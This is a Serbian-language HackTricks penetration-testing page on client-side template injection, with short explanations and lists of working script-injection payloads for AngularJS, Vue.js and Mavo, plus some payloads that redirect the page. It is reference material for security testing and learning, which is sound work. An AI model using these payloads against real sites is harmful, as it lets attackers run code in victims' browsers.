hacktricks/pentesting-web/client-side-template-injection-csti.md
2024-02-10 13:11:20 +00:00

6.8 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Summary

To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam omogućava da izvršite kod na udaljenom serveru, dok bi CSTI mogao da vam omogući izvršavanje proizvoljnog JavaScript koda na žrtvi.

Način testiranja ove ranjivosti je veoma sličan kao i u slučaju SSTI, interpreter će očekivati nešto što treba da se izvrši između dvostrukih ključeva i izvršiće to. Na primer, koristeći nešto poput: {{ 7-7 }} ako je server ranjiv, videćete 0, a ako nije, videćete original: {{ 7-7 }}

AngularJS

AngularJS je široko korišćen JavaScript okvir koji komunicira sa HTML-om putem atributa poznatih kao direktive, a jedna od njih je ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.

U scenarijima gde korisnički unos dinamički bude umetnut u telo HTML-a označeno sa ng-app, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su prikazani primeri kako se može izvršiti JavaScript kod:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Možete pronaći vrlo osnovni online primer ove ranjivosti u AngularJS-u na http://jsfiddle.net/2zs2yv7o/ i na Burp Suite Academy

{% hint style="danger" %} Angular 1.6 je uklonio sandbox tako da od ove verzije, payload poput {{constructor.constructor('alert(1)')()}} ili <input ng-focus=$event.view.alert('XSS')> treba da funkcioniše. {% endhint %}

VueJS

Možete pronaći ranjivu implementaciju vue.js-a na https://vue-client-side-template-injection-example.azu.now.sh/
Radni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Izvorni kod ranjivog primera možete pronaći ovde: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Jedan veoma dobar post o CSTI u VUE-u može se pronaći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Kredit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredit: Mario Heiderich

Proverite više VUE payloada na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Više payloada na https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista za otkrivanje Brute-Force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: